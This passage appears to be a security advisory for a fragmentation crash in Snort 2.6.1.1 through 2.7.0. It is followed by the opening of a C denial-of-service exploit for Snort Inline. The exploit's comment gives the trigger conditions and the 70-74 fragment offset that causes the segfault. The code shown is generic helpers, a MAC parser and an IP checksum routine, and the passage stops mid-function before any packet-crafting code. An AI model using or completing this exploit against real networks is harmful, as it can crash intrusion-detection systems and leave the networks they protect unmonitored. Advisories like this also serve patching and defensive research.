Snort is "a free software network intrusion detection and prevention system capable of performing packet logging and real-time traffic analysis, on IP networks". Snort has been found to contain a fragmentation vulnerability that allows attackers to cause the program to crash.
Vulnerable Systems:
* Snort versions 2.6.1.1, 2.6.1.2 and 2.7.0
Exploit:
/*********************************************************
* DOS Snort Inline
* Affected Versions: 2.6.1.1, 2.6.1.2, 2.7.0(beta)
* Requirements : Frag3 Enabled, Inline, Linux, ip_conntrack disabled
* Antimatt3r
* antimatter@gmail.com
* Offset needs to be supplied that would cause reassembly for different snort
* fragmentation reassembly policies. Since the first packet is hardcoded 70-74 offset
* will trigger the segfault.
********************************************************/
int mac_aton(char *amac, char *nmac) {
char c;
int i;
unsigned int val;
i = 0;
while ((*amac != '\0') && (i < ETH_ALEN)) {
val = 0;
c = *amac++;
if (c >= '0' && c <= '9') {
val = c - '0';
}
else if (c >= 'a' && c <= 'f') {
val = c - 'a' + 10;
}
else if (c >= 'A' && c <= 'F') {
val = c - 'A' + 10;
}
else {
errno = EINVAL;
return -1;
}
val <<= 4;
c = *amac;
if (c >= '0' && c <= '9') {
val |= c - '0';
}
else if (c >= 'a' && c <= 'f') {
val |= c - 'a' + 10;
}
else if (c >= 'A' && c <= 'F') {
val |= c - 'A' + 10;
}
else if (c == ':' || c == '\0') {
val >>= 4;
}
else {
errno = EINVAL;
return -1;
}
if (c != 0) {
amac++;
}
*nmac++ = val & 0xff;
i++;
/* We might get a semicolon here - not required. */
if (*amac == ':') {
amac++;
}
}
return 0;
}
int in_cksum(u_short *addr, int len) {
int nleft = len;
u_short *w = addr;
int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
